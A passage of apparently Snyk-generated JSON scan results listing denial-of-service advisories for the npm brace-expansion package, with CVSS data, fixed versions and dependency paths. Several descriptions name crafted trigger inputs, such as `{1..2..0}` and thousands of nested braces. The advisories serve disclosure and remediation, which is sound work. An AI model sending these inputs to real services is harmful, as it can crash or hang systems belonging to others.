Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
